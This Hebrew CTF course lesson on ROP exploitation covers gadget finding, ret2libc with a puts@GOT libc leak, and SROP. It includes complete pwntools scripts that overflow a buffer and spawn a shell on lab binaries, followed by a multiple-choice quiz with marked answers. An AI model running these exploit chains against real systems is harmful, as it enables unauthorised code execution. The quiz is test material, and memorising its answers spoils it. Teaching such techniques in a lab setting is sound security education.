ROP Chains
ROP Chains — קוד שכבר שם
NX (No-Execute) מונע הרצת Shellcode מ-Stack. ROP (Return-Oriented Programming) עוקף זאת על ידי שרשור קטעי קוד קיימים בbinary — Gadgets — כל אחד מסתיים ב-ret, ויחד מבצעים כל פעולה.
את יסודות ה-ROP — Gadgets, ROP Chain ו-ret2libc — בנית כבר בשיעור 41. כאן לא חוזרים עליהם מאפס, אלא עולים שלב: מציאת Gadgets בכלים אוטומטיים, חישוב libc_base מ-Leak, ו-SROP (Sigreturn-Oriented Programming) — הטכניקה שמצילה כשאין מספיק Gadgets. זהו ה-ROP ברמת ה-CTF המתקדם.
- מה הם ROP Gadgets ואיך הם עובדים
- Stack Layout של ROP Chain — מה כותבים ואיפה
- מציאת Gadgets — ROPgadget, ropper, pwntools ROP
- ret2libc — קריאה לפונקציית libc ישירות
- ret2plt — שימוש ב-PLT לקריאת פונקציות
- SROP (Sigreturn ROP) — הגדרת כל הרגיסטרים בבת אחת
- ROP ב-64bit — Calling Convention ו-pop rdi; ret
- Exploit מלא: BOF → ROP → ret2libc → Shell
ROP: עיקרון הפעולה וGadgets
כשNX מופעל, לא ניתן להריץ Shellcode ב-Stack. אבל ה-binary וה-libc כוללים קוד שכבר הורץ — ניתן לקפוץ לחתיכות קטנות ("Gadgets") ולשרשר אותן דרך ה-Stack.
מה זה Gadget?
; ─── Gadget = רצף Assembly קצר שמסתיים ב-ret ─────────────
; כל פונקציה ב-binary מכילה הרבה ret instructions
; ROP מחפש רצפים שימושיים לפני כל ret:
; Gadget 1: pop rdi; ret ← שים ערך ב-rdi (arg1 ב-64bit)
; Gadget 2: pop rsi; ret ← שים ערך ב-rsi (arg2)
; Gadget 3: pop rdx; ret ← שים ערך ב-rdx (arg3)
; Gadget 4: pop rax; ret ← שים ערך ב-rax (syscall number)
; Gadget 5: syscall; ret ← ביצוע syscall
; Gadget 6: mov [rdi], rax; ret ← כתוב rax ל-[rdi]
; ─── כיצד Gadget עובד ───────────────────────────────────
; נניח Stack נראה כך:
; [rsp+0] = 0x401234 ← כתובת Gadget: pop rdi; ret
; [rsp+8] = 0xdeadbeef ← הערך שrdi יקבל
; [rsp+16] = 0x401400 ← כתובת הGadget הבא
;
; CPU:
; 1. ret → pop rip = 0x401234 (Gadget 1 רץ)
; 2. pop rdi = 0xdeadbeef (rdi = 0xdeadbeef)
; 3. ret → pop rip = 0x401400 (Gadget 2 רץ)Stack Layout של ROP Chain
; ─── Buffer Overflow → ROP Chain ────────────────────────────
; נניח: Buffer 64 bytes, RBP 8 bytes → offset=72 לreturn addr
; Payload (64bit):
; [64 bytes junk][8 bytes saved rbp][ROP Chain...]
; ROP Chain לביצוע system("/bin/sh"):
; [pop_rdi_ret] ← כתובת Gadget "pop rdi; ret"
; [binsh_addr] ← "/bin/sh" ב-libc (arg1 של system)
; [ret_gadget] ← "ret" בלבד (Stack alignment!)
; [system_addr] ← כתובת system() ב-libc
; ─── מדוע ret לפני system? ──────────────────────────────────
; ב-64bit: system() דורש שה-Stack יהיה מיושר ל-16 bytes
; לפעמים צריך Gadget "ret" נוסף לתיקון היישור
; בלעדיו: Crash בmovaps ב-system(); Stack (rsp מצביע לכאן):
; [rsp+0] = 0x401100 ; pop rax; ret
; [rsp+8] = 0x000000000000003b ; 59 = execve syscall
; [rsp+16] = 0x401200 ; pop rdi; ret
; [rsp+24] = 0xdeadbeef
; [rsp+32] = 0x401300 ; syscall; ret
; הוראה שמריצה עכשיו: retמה רץ ראשון ולאחריו?מציאת Gadgets: ROPgadget, ropper ו-pwntools
הצעד הראשון בבניית ROP Chain הוא מציאת Gadgets שימושיים בbinary ובlibc. קיימים כלים אוטומטיים שסורקים את הbinary ומחזירים רשימה של כל הGadgets.
ROPgadget — כלי הסטנדרט
# ─── ROPgadget ─────────────────────────────────────────────
ROPgadget --binary ./vuln --rop
# פלט לדוגמה:
# 0x0000000000401234 : pop rdi ; ret
# 0x0000000000401238 : pop rsi ; pop r15 ; ret
# 0x000000000040123c : pop rdx ; ret
# 0x0000000000401240 : ret
# 0x0000000000401244 : syscall ; ret
# חיפוש ספציפי:
ROPgadget --binary ./vuln --rop | grep "pop rdi"
# 0x0000000000401234 : pop rdi ; ret ← זה מה שצריך!
ROPgadget --binary ./vuln --string "/bin/sh"
# 0x00000000004005d0 : /bin/sh ← אם קיים ב-binary
# ─── ropper ──────────────────────────────────────────────
ropper -f ./vuln --search "pop rdi"
ropper -f ./vuln --chain "execve" # ניסיון בניית chain אוטומטי
# ─── pwntools ROP object ─────────────────────────────────
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
print(f'pop rdi; ret @ {hex(pop_rdi)}')
print(f'ret @ {hex(ret)}')Gadgets שכיחים ב-64bit
| Gadget | שימוש | מדוע? |
|---|---|---|
| pop rdi; ret | arg1 לפונקציה | rdi = arg1 ב-64bit calling convention |
| pop rsi; ret | arg2 | rsi = arg2 |
| pop rdx; ret | arg3 | rdx = arg3 |
| pop rax; ret | syscall number | rax = מזהה syscall |
| syscall; ret | הפעל syscall | kernel מבצע לפי rax |
| ret | Stack alignment | system() דורש RSP % 16 == 0 |
| mov [rdi], rax; ret | כתיבה לזיכרון | שם מחרוזות ב-Writable memory |
system("/bin/sh") דרך ROP, איזה Gadget חייבים לפני כתובת system()?rop.find_gadget(['pop rdi', 'ret'])[0]?ret2libc: קריאה ישירה לפונקציות libc
ret2libc היא שיטת ROP הקלאסית: במקום Shellcode, קופצים לפונקציה קיימת בlibc (כמו system()) עם הארגומנטים הנכונים. עם ASLR — צריך קודם לLeak כתובת libc.
ret2libc ללא ASLR (פשוט)
from pwn import *
elf = ELF('./vuln_no_aslr')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
conn = process('./vuln_no_aslr')
# ─── מצא Gadgets ─────────────────────────────────────────
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadg = rop.find_gadget(['ret'])[0]
# ─── כתובות (ידועות כשאין ASLR) ─────────────────────────
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh'))
# ─── בנה Payload ─────────────────────────────────────────
offset = 72 # bytes עד return address (BOF offset)
payload = b'A' * offset # fill buffer + saved rbp
payload += p64(pop_rdi) # Gadget: pop rdi; ret
payload += p64(binsh_addr) # rdi = "/bin/sh"
payload += p64(ret_gadg) # alignment
payload += p64(system_addr) # call system("/bin/sh")
conn.sendline(payload)
conn.interactive() # Shell!ret2libc עם ASLR — Leak קודם
from pwn import *
elf = ELF('./vuln_aslr')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
conn = remote('ctf.example.com', 1337)
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_g = rop.find_gadget(['ret'])[0]
# ─── שלב 1: Leak כתובת libc דרך puts@PLT ───────────────
# מטרה: קרא לputs(puts@GOT) → puts מדפיסה כתובתה ב-libc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
offset = 72
leak_payload = b'A' * offset
leak_payload += p64(pop_rdi) # rdi = puts@GOT
leak_payload += p64(puts_got)
leak_payload += p64(puts_plt) # call puts(puts@GOT)
leak_payload += p64(main) # חזור למain לround 2
conn.sendline(leak_payload)
conn.recvuntil(b'\n') # דלג פלט ראשוני
# ─── שלב 2: פרסר את הLeak ──────────────────────────────
leaked = u64(conn.recv(6).ljust(8, b'\x00'))
libc.address = leaked - libc.sym['puts']
print(f'libc base: {hex(libc.address)}')
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh'))
# ─── שלב 3: Shell Payload ────────────────────────────────
shell_payload = b'A' * offset
shell_payload += p64(pop_rdi)
shell_payload += p64(binsh_addr)
shell_payload += p64(ret_g)
shell_payload += p64(system_addr)
conn.sendline(shell_payload)
conn.interactive() # Shell!puts@GOT = 0x601018
# ב-memory: [0x601018] = 0x7f4a8c234560 (puts@libc)
# libc.sym['puts'] = 0x80560 (offset בlibc)
# ROP קרא לputs(0x601018)
# puts הדפיסה 6 bytes: \x60\x45\x23\x8c\x4a\x7f
leaked = u64(b'\x60\x45\x23\x8c\x4a\x7f'.ljust(8, b'\x00'))
# מה libc_base?SROP ו-ROP מתקדם: כשאין מספיק Gadgets
לעתים ב-binary קטן (statically-linked ללא libc, או stripped) אין מספיק Gadgets. SROP (Sigreturn ROP) מאפשר הגדרת כל הרגיסטרים בבת אחת באמצעות syscall אחד.
SROP — Sigreturn Oriented Programming
/* ─── עיקרון SROP ─────────────────────────────────────────
sigreturn syscall (15 ב-Linux x64) משחזר את כל הרגיסטרים
מ-SigreturnFrame שב-Stack. ROP מזייף Frame זה.
מה SigreturnFrame מכיל? כל הרגיסטרים:
rax, rbx, rcx, rdx, rsi, rdi, rsp, rip, + segments + flags
צריך רק:
1. Gadget: syscall; ret
2. Gadget: pop rax; ret (לשים 15 ב-rax)
3. "/bin/sh" שמור בזיכרון
4. Frame מסודר ב-Stack */
from pwn import *
elf = ELF('./tiny_binary')
conn = remote('ctf.example.com', 1337)
# ─── Gadgets (לרוב נמצאים גם ב-minimal binary) ──────────
syscall_ret = 0x401020 # syscall; ret
pop_rax_ret = 0x401018 # pop rax; ret
# "/bin/sh" שמור ב-BSS (writable):
binsh_addr = elf.bss() + 0x100 # בחלק הBSS
# ─── בנה SigreturnFrame ──────────────────────────────────
frame = SigreturnFrame()
frame.rax = 59 # execve syscall
frame.rdi = binsh_addr # arg1 = "/bin/sh"
frame.rsi = 0 # arg2 = NULL
frame.rdx = 0 # arg3 = NULL
frame.rip = syscall_ret # אחרי sigreturn, רץ syscall
offset = 40
payload = b'A' * offset
payload += p64(pop_rax_ret)
payload += p64(15) # SYS_rt_sigreturn
payload += p64(syscall_ret) # sigreturn!
payload += bytes(frame) # ← כל הרגיסטרים!
conn.sendline(payload)
conn.interactive() # Shell!frame.rax=59, frame.rdi=binsh, frame.rsi=0, frame.rdx=0, frame.rip=syscall_addr, מה יקרה אחרי ה-sigreturn?Exploit מלא: BOF → ROP → Shell
הנה ה-Exploit המלא עם ASLR ו-NX. שני שלבים: Leak libc, ואז Shell.
from pwn import *
elf = ELF('./pwn_chal')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
conn = remote('ctf.example.com', 1337)
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_g = rop.find_gadget(['ret'])[0]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_sym = elf.sym['main']
OFFSET = 72 # offset לreturn address (מצא עם cyclic())
# ═══ Round 1: Leak libc ════════════════════════════════════
p1 = b'A' * OFFSET
p1 += p64(pop_rdi) + p64(puts_got) # rdi = puts@GOT
p1 += p64(puts_plt) # puts(puts@GOT) → leak!
p1 += p64(main_sym) # חזור למain
conn.sendlineafter(b': ', p1)
conn.recvline() # אם יש output לפני הleak
puts_addr = u64(conn.recvline().strip().ljust(8, b'\x00'))
libc.address = puts_addr - libc.sym['puts']
log.success(f'libc @ {hex(libc.address)}')
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# ═══ Round 2: Shell ═══════════════════════════════════════
p2 = b'A' * OFFSET
p2 += p64(pop_rdi) + p64(binsh_addr) # rdi = "/bin/sh"
p2 += p64(ret_g) # stack alignment
p2 += p64(system_addr) # system("/bin/sh")
conn.sendlineafter(b': ', p2)
conn.interactive() # 🐚 SHELL!- ROP = שרשור Gadgets (Assembly קצר + ret) דרך ה-Stack לעקיפת NX
- Gadget = רצף הוראות המסתיים ב-ret. מציאה: ROPgadget, ropper, pwntools ROP
- 64bit Calling Convention: arg1=rdi, arg2=rsi, arg3=rdx → חייבים pop rdi; ret
- Stack Alignment: לפעמים צריך ret נוסף לפני system() (movaps דורש RSP%16==0)
- ret2libc: Gadgets + system() + "/bin/sh" + ללא ASLR = ישיר
- עם ASLR: Leak libc קודם דרך puts(puts@GOT) → חשב libc_base → Round 2
- PLT/GOT: PLT=stub לlibc. GOT=טבלת כתובות. Leak GOT entry = libc address
- SROP: syscall sigreturn (15) + SigreturnFrame = הגדרת כל הרגיסטרים בבת אחת
- Flow: BOF → overflow return addr → ROP Chain → Leak → libc_base → Shell Payload → Shell
OFFSET = 40
pop_rdi = 0x401233
ret_g = 0x40101a
system = 0x7f... # (libc_base + offset, ידוע אחרי leak)
binsh = 0x7f... # (libc_base + offset)
payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system)
# מה יקרה כשPayload זה נשלח?# puts@GOT מכיל: 0x7f8a3c456790
# libc.sym['puts'] = 0x84790
# libc.sym['system']= 0x52290
# libc.sym['__libc_start_main'] = 0x23f90
# לאחר Leak:
leaked = 0x7f8a3c456790
libc.address = leaked - libc.sym['puts']
system_addr = libc.sym['system']
# מה system_addr?; Binary: NX=ON, ASLR=ON, PIE=OFF
; pop rdi; ret @ 0x401234
; ret @ 0x40101a
; puts@plt = 0x401060
; puts@got = 0x601018
; main = 0x4011a0
; OFFSET = 72מה ה-Payload הנכון לshלב הLeak?תרגול נוסף — Exploitation: Offsets ו-Canary
שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.
buf=64 בתים, מהו ה-offset ל-Return Address ב-cdecl (x86)?p32(0x08048456) ב-pwntools?Stack Canary. כיצד בכל זאת אפשר לעקוף אותו?אתגר מעשי — ASLR — למה צריך leak
שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.
שאלות תרגול ותשובות (18)
שאלה 1.1 — ROP Gadget · מדוע כל ROP Gadget חייב להסתיים ב-ret?
- א. מכיוון שהפקודה ret היא פשוט הפעולה המהירה ביותר בכל מעבד שהוא כיום
- ב. ret מבצע pop rip מן ה-Stack, שם יושבת כתובת ה-Gadget הבא בשרשרת
- ג. מכיוון שהפקודה ret מנקה את ה-Stack מכל הערכים שנדחפו אליו קודם לכן
- ד. מכיוון שהפקודה ret היא זו שעוקפת את מנגנון ה-ASLR של מערכת ההפעלה
✓ תשובה: ב) — ret = pop rip (מה-Stack). אחרי כל Gadget, ה-rsp מצביע לכתובת הGadget הבא ב-Chain. ret לוקח אותה, ועובר לשם. בלי ret — שרשור לא אפשרי.
שאלה 1.2 — NX ו-ROP · מדוע ROP עוקף NX אך Shellcode ב-Stack לא?
- א. ROP קופץ לקוד שב-.text/libc (דפים Executable), ו-Shellcode ב-Stack לא
- ב. מכיוון שטכניקת ROP אינה עושה שימוש כלל ב-Stack במהלך כל הניצול הזה
- ג. מכיוון שטכניקת ROP מצפינה את הקוד שלה, ולכן מנגנון ה-NX אינו חוסמה
- ד. מכיוון שטכניקת ROP עושה שימוש אך ורק בפונקציות מתוך ספריית libc כאן
✓ תשובה: א) — NX = No-Execute bit ב-Page Table. Stack page: NX=1 → CPU זורק exception אם מנסים להריץ. .text/libc pages: NX=0 (executable). ROP רק קופץ לכתובות executable → לא מפר NX.
שאלה 1.3 — Dry Run Stack · ; Stack (rsp מצביע לכאן): ; [rsp+0] = 0x401100 ; pop rax; ret ; [rsp+8] = 0x000000000000003b ; 59 = execve syscall ; [rsp+16] = 0x401200 ; pop rdi; ret ; [rsp+24] = 0xdeadbeef ; [rsp+32] = 0x401300 ; syscall; ret ; הוראה שמריצה עכשיו: retמה רץ ראשון ולאחריו?
; Stack (rsp מצביע לכאן): ; [rsp+0] = 0x401100 ; pop rax; ret ; [rsp+8] = 0x000000000000003b ; 59 = execve syscall ; [rsp+16] = 0x401200 ; pop rdi; ret ; [rsp+24] = 0xdeadbeef ; [rsp+32] = 0x401300 ; syscall; ret ; הוראה שמריצה עכשיו: ret
- א. הפקודה syscall היא זו שרצה ראשונה, עוד לפני כל שאר הפעולות בשרשרת
- ב. ret ← pop rax=0x3b ← ret ← pop rdi=0xdeadbeef ← ret ← syscall
- ג. נגרם Crash מיידי, מכיוון שמבנה ה-Stack כאן אינו תקין כלל בכלל
- ד. הפקודה pop rdi היא זו שרצה ראשונה, עוד לפני הטעינה של pop rax כאן
✓ תשובה: ב) — ret: pop rip=0x401100, rsp+=8. Gadget1: pop rax=[rsp]=0x3b, rsp+=8, ret→rip=0x401200. Gadget2: pop rdi=[rsp]=0xdeadbeef, rsp+=8, ret→rip=0x401300. Gadget3: syscall (execve). ROP Chain מדויק!
שאלה 2.1 — Calling Convention · ב-64bit Linux, אם רוצים לקרוא ל-system("/bin/sh") דרך ROP, איזה Gadget חייבים לפני כתובת system()?
system("/bin/sh")- א. pop rax; ret: טעינת ערך אל הרגיסטר rax עוד לפני הקריאה אל system
- ב. push rdi; ret: דחיפת הארגומנט אל תוך ה-Stack לפני הקריאה אל system
- ג. pop rdi; ret: ב-64bit הארגומנט הראשון מועבר ברגיסטר rdi אל system
- ד. push rbp; ret: שמירת מצביע הבסיס אל ה-Stack לפני הקריאה אל system
✓ תשובה: ג) — 64bit Linux Calling Convention (System V AMD64 ABI): arg1=rdi, arg2=rsi, arg3=rdx, arg4=rcx, arg5=r8, arg6=r9. system("/bin/sh"): צריך rdi="/bin/sh". Gadget: pop rdi; ret → מכניס כתובת /bin/sh לrdi.
שאלה 2.2 — Stack Alignment · מדוע לפעמים צריך להוסיף Gadget ret בלבד לפני system()?
- א. מכיוון שהפונקציה system דורשת שהרגיסטר rax יהיה שווה לאפס כאן כן
- ב. מכיוון שהכלי ROPgadget פשוט מחייב תמיד להוסיף ret נוסף בכל שרשרת
- ג. כדי לעקוף את מנגנון ה-ASLR עוד לפני הקריאה לפונקציה system כאן
- ד. system משתמשת ב-movaps שדורש RSP מיושר ל-16; ret נוסף מתקן יישור
✓ תשובה: ד) — movaps (SSE instruction) דורש RSP % 16 == 0 (128-bit alignment). אם Stack לא מיושר → SIGSEGV בתוך system(). ret גורם ל-rsp += 8. אם לפני system() rsp % 16 == 8, ret אחד מתקן ל-0. בdebug: Crash ב-movaps = alignment issue!
שאלה 2.3 — pwntools ROP · מה עושה הקוד: rop.find_gadget(['pop rdi', 'ret'])[0]?
rop.find_gadget(['pop rdi', 'ret'])[0]
- א. מריץ בפועל את ה-Gadget שנמצא, ישירות מתוך סביבת pwntools עצמה כאן
- ב. מחפש בבינארי את הרצף [pop rdi; ret] ומחזיר את כתובתו הראשונה בו
- ג. מוחק את ה-Gadget שנמצא מתוך הבינארי כדי למנוע שימוש חוזר בו אחר-כך
- ד. בודק אך ורק האם ה-Gadget קיים בבינארי, ומחזיר ערך של אמת או שקר
✓ תשובה: ב) — pwntools ROP.find_gadget(instructions) סורק את ה-binary וmחזיר רשימת tuples של (address, gadget_string). [0] = הכתובת. שימוש: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] → pop_rdi = 0x401234.
שאלה 3.1 — ret2libc · מה הסדר הנכון של הערכים ב-Stack בret2libc לביצוע system("/bin/sh") ב-64bit?
- א. [system_addr][binsh_addr][pop_rdi]: הפונקציה תחילה ואז הארגומנט לה
- ב. [binsh_addr][system_addr][pop_rdi]: הארגומנט תחילה ואז הפונקציה כאן
- ג. [ret][pop_rdi][binsh_addr][system_addr]: ה-ret מוצב בראש כל השרשרת
- ד. [pop_rdi][binsh_addr][ret][system_addr]: pop לוקח binsh, ret מיישר
✓ תשובה: ד) — Execution flow: ret → pop_rdi (Gadget). pop rdi = binsh_addr. ret → ret_gadget (alignment). ret → system_addr. system() רץ עם rdi="/bin/sh". ← הסדר חיוני! כל ret מקדם את rsp ב-8.
שאלה 3.2 — Leak עם puts · מדוע בשלב הLeak קוראים ל-puts(puts@GOT) ולא ל-puts(system@GOT)?
- א. מכיוון שהערך שבתוך system@GOT מוצפן, ולכן לא ניתן כלל לדלוף ממנו
- ב. שתיהן עובדות; בוחרים ב-puts@GOT כי puts תמיד קיים ומאוכלס מראש
- ג. מכיוון שהערך שבתוך system@GOT מרונדם מחדש בכל הרצה של התוכנית הזו
- ד. מכיוון שרק puts@PLT זמין בבינארי, בעוד system@PLT חסר בו לחלוטין
✓ תשובה: ב) — GOT entry מתמלא בכתובת אמיתית רק אחרי הקריאה הראשונה לפונקציה. puts נקרא בדרך כלל לפני הbug (להדפסת הפרומפט), לכן puts@GOT כבר מלא. system לא בהכרח נקרא לפני. גם: libc_base = any_libc_func_addr - libc.sym[that_func].
שאלה 3.3 — Dry Run Leak · puts@GOT = 0x601018 # ב-memory: [0x601018] = 0x7f4a8c234560 (puts@libc) # libc.sym['puts'] = 0x80560 (offset בlibc) # ROP קרא לputs(0x601018) # puts הדפיסה 6 bytes: \x60\x45\x23\x8c\x4a\x7f leaked = u64(b'\x60\x45\x23\x8c\x4a\x7f'.ljust(8, b'\x00')) # מה libc_base?
puts@GOT = 0x601018 # ב-memory: [0x601018] = 0x7f4a8c234560 (puts@libc) # libc.sym['puts'] = 0x80560 (offset בlibc) # ROP קרא לputs(0x601018) # puts הדפיסה 6 bytes: \x60\x45\x23\x8c\x4a\x7f leaked = u64(b'\x60\x45\x23\x8c\x4a\x7f'.ljust(8, b'\x00')) # מה libc_base?
- א. 0x7f4a8c234560 + 0x80560: חיבור ההיסט לכתובת שדלפה במקום חיסורו ממנה
- ב. 0x601018: כתובת ה-GOT entry עצמה, ולא בסיס ספריית libc המבוקש כאן
- ג. 0x7f4a8c234560 - 0x80560 = 0x7f4a8c1b4000: זהו בסיס ספריית libc
- ד. 0x7f4a8c234560 בלבד: הכתובת שדלפה עצמה, ללא כל חישוב של הבסיס כאן
✓ תשובה: ג) — leaked = 0x7f4a8c234560 (puts@libc). libc.sym['puts'] = offset = 0x80560. libc_base = leaked - offset = 0x7f4a8c234560 - 0x80560 = 0x7f4a8c1b4000. ← כל כתובת libc = libc_base + offset.
שאלה 4.1 — SROP · מה יתרון SROP על ROP רגיל כשאין מספיק Gadgets?
- א. SROP מגדיר את כל הרגיסטרים בבת-אחת דרך SigreturnFrame שב-Stack
- ב. טכניקת SROP פשוט רצה מהר יותר מ-ROP רגיל בזמן הריצה של הניצול הזה
- ג. טכניקת SROP אינה זקוקה כלל ל-Gadgets כלשהם כדי לפעול כראוי כאן
- ד. טכניקת SROP היא זו שעוקפת את מנגנון ה-ASLR של מערכת ההפעלה כאן
✓ תשובה: א) — sigreturn (syscall 15) קורא sigreturn frame מה-Stack ומשחזר את כל הרגיסטרים. SROP מזייף frame זה. רק צריך: pop rax; ret (לשים 15), syscall; ret. שאר הרגיסטרים (rdi, rsi, rip...) מגיעים מה-Frame!
שאלה 4.2 — בחירת טכניקה · קיבלת binary עם NX, ASLR, ללא PIE. איזו טכניקת ROP תעבוד?
- א. Shellcode ישיר אל תוך ה-Stack והרצתו משם, אף שה-NX חוסם זאת לגמרי
- ב. ret2plt (system@plt): ללא PIE כתובות ה-PLT קבועות ואינן מרונדמות
- ג. ret2libc ישיר לגמרי ללא שלב Leak, אף שה-ASLR מרנדם את libc כאן כן
- ד. טכניקת SROP בלבד היא זו שתעבוד כאן, ללא כל אפשרות אחרת נוספת כלל
✓ תשובה: ב) — ללא PIE: binary נטען לכתובת קבועה → PLT קבוע (0x401xxx). ASLR = רק libc randomized. אם system@plt קיים: pop rdi + binsh + system@plt. אם לא: Leak puts@libc → חשב libc_base → system@libc + /bin/sh@libc.
שאלה 4.3 — Dry Run SROP Frame · ב-SROP, אם מגדירים frame.rax=59, frame.rdi=binsh, frame.rsi=0, frame.rdx=0, frame.rip=syscall_addr, מה יקרה אחרי ה-sigreturn?
frame.rax=59, frame.rdi=binsh, frame.rsi=0, frame.rdx=0, frame.rip=syscall_addr
- א. תיקרא הפונקציה system("/bin/sh") ישירות מתוך ספריית libc הנטענת כאן
- ב. תיקרא הפונקציה fork() שתיצור תהליך-בן חדש במקום להריץ Shell כלשהו
- ג. כל הרגיסטרים ייטענו מן ה-Frame: rax=59 (execve), rdi=binsh → Shell
- ד. תתקבל שגיאה, מכיוון שהרגיסטר rax אינו יכול כלל להכיל את הערך 59
✓ תשובה: ג) — sigreturn משחזר את כל ה-CPU state מה-Frame. אחרי כן: rip=syscall_addr → מריץ syscall עם rax=59 (SYS_execve), rdi="/bin/sh", rsi=NULL, rdx=NULL → execve → Shell! זה כוחו של SROP — פעולה אחת מגדירה הכל.
גאמא סגנון א׳ · OFFSET = 40 pop_rdi = 0x401233 ret_g = 0x40101a system = 0x7f... # (libc_base + offset, ידוע אחרי leak) binsh = 0x7f... # (libc_base + offset) payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system) # מה יקרה כשPayload זה נשלח?
OFFSET = 40 pop_rdi = 0x401233 ret_g = 0x40101a system = 0x7f... # (libc_base + offset, ידוע אחרי leak) binsh = 0x7f... # (libc_base + offset) payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(system) # מה יקרה כשPayload זה נשלח?
- א. Crash ב-system() בשל יישור Stack; חסר gadget של ret לפני הקריאה
- ב. Shell מיידי יתקבל ללא שום בעיה, שכן כל הכתובות בשרשרת תקינות כאן
- ג. שגיאת Segfault תתרחש עוד לפני הקריאה לפונקציה system בכלל כאן
- ד. Crash יתרחש מכיוון שהכתובת של ה-Gadget pop_rdi אינה תקינה כלל כאן
✓ תשובה: א) — חסר Stack Alignment! בלי ret_g: rsp%16 != 0 כשנכנסים לsystem(). movaps (בתוך system) זורק SIGSEGV. תיקון: payload = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(ret_g) + p64(system).
גאמא סגנון ב׳ — Leak Dry Run · # puts@GOT מכיל: 0x7f8a3c456790 # libc.sym['puts'] = 0x84790 # libc.sym['system']= 0x52290 # libc.sym['__libc_start_main'] = 0x23f90 # לאחר Leak: leaked = 0x7f8a3c456790 libc.address = leaked - libc.sym['puts'] system_addr = libc.sym['system'] # מה system_addr?
# puts@GOT מכיל: 0x7f8a3c456790 # libc.sym['puts'] = 0x84790 # libc.sym['system']= 0x52290 # libc.sym['__libc_start_main'] = 0x23f90 # לאחר Leak: leaked = 0x7f8a3c456790 libc.address = leaked - libc.sym['puts'] system_addr = libc.sym['system'] # מה system_addr?
- א. 0x7f8a3c456790 ועוד 0x52290: חיבור ההיסט ישירות לכתובת שדלפה במקום
- ב. 0x52290 בלבד: ההיסט של system בתוך libc, ללא חיבורו כלל אל הבסיס
- ג. libc_base = הכתובת פחות 0x84790; system = libc_base ועוד 0x52290
- ד. 0x7f8a3c456790 בלבד: הכתובת שדלפה של puts, ללא שום חישוב נוסף כאן
✓ תשובה: ג) — libc_base = leaked_puts - puts_offset = 0x7f8a3c456790 - 0x84790 = 0x7f8a3c3d2000. system = libc_base + system_offset = 0x7f8a3c3d2000 + 0x52290 = 0x7f8a3c424290. בדיקה: system - libc_base = 0x52290 ✓
גאמא סגנון ג׳ — ROP Chain מלא · ; Binary: NX=ON, ASLR=ON, PIE=OFF ; pop rdi; ret @ 0x401234 ; ret @ 0x40101a ; puts@plt = 0x401060 ; puts@got = 0x601018 ; main = 0x4011a0 ; OFFSET = 72מה ה-Payload הנכון לshלב הLeak?
; Binary: NX=ON, ASLR=ON, PIE=OFF ; pop rdi; ret @ 0x401234 ; ret @ 0x40101a ; puts@plt = 0x401060 ; puts@got = 0x601018 ; main = 0x4011a0 ; OFFSET = 72
- א. b'A'*72 + p64(0x401234) + p64(0x601018) + p64(0x401060) + p64(0x4011a0)
- ב. b'A'*72 + p64(0x401234) + p64(0x401060) + p64(0x601018) + p64(0x4011a0)
- ג. b'A'*72 + p64(0x601018) + p64(0x401060) + p64(0x4011a0) בלי ה-pop rdi
- ד. b'A'*72 + p64(0x401060) + p64(0x601018) + p64(0x4011a0) בלי ה-pop rdi
✓ תשובה: א) — Payload: [junk×72][pop_rdi=0x401234][puts@GOT=0x601018][puts@PLT=0x401060][main=0x4011a0]. Execution: ret→pop_rdi. pop rdi=0x601018 (puts@GOT). ret→puts@PLT. puts מדפיסה תוכן 0x601018 = puts@libc. ret→main (round 2).
שאלה 5.1 [בינוני] · עבור buf=64 בתים, מהו ה-offset ל-Return Address ב-cdecl (x86)?
buf=64
- א. 64: הנחה שגויה, אף שיש לחצות גם את 4 בתי ה-Saved EBP שמעל ה-buffer, ולכן ה-offset ל-Return Address הוא 68 ולא 64 שהוא גודל ה-buffer בלבד
- ב. 72: הנחה שגויה, אף שהחישוב הנכון הוא 64 ועוד 4 בתי EBP שהם 68, ולכן 72 סופר את ה-EBP פעמיים בטעות ואינו ה-offset הנכון לכתובת החזרה כן
- ג. 68 — יש לחצות את 64 בתי ה-buffer ואת 4 בתי ה-Saved EBP שמעליו כדי להגיע לכתובת החזרה, ולכן ה-offset הכולל עד ה-Return Address הוא 68
- ד. 60: הנחה שגויה, אף שה-offset כולל את כל 64 בתי ה-buffer ועוד 4 בתי EBP, ולכן הוא 68 ולא 60 שהיה מקצר בטעות את ה-buffer בארבעה בתים
✓ תשובה נכונה: ג — Stack Frame (x86): buf(64) + Saved EBP(4) = 68 בתים עד Return Address. Offset=68. תמיד וודא בפועל עם cyclic (Alignment/ABI).
שאלה 5.2 [בינוני] · מה מחזירה p32(0x08048456) ב-pwntools?
p32(0x08048456)
- א. הערך b"\x08\x04\x84\x56": הנחה שגויה, אף ש-p32 אורז ב-Little Endian ולכן הבית הנמוך ראשון, וזהו סדר Big Endian ההפוך שאינו הנכון כן
- ב. המחרוזת "0x08048456": הנחה שגויה, אף ש-p32 מחזירה בתים ארוזים ולא טקסט, ולכן הפלט הוא רצף בתים ב-Little Endian ולא מחרוזת קריאה
- ג. הערך b"\x56\x84\x04\x08" — הפונקציה אורזת כתובת 32-ביט בסדר Little Endian, ולכן הבית הנמוך 0x56 מופיע ראשון והגבוה 0x08 אחרון
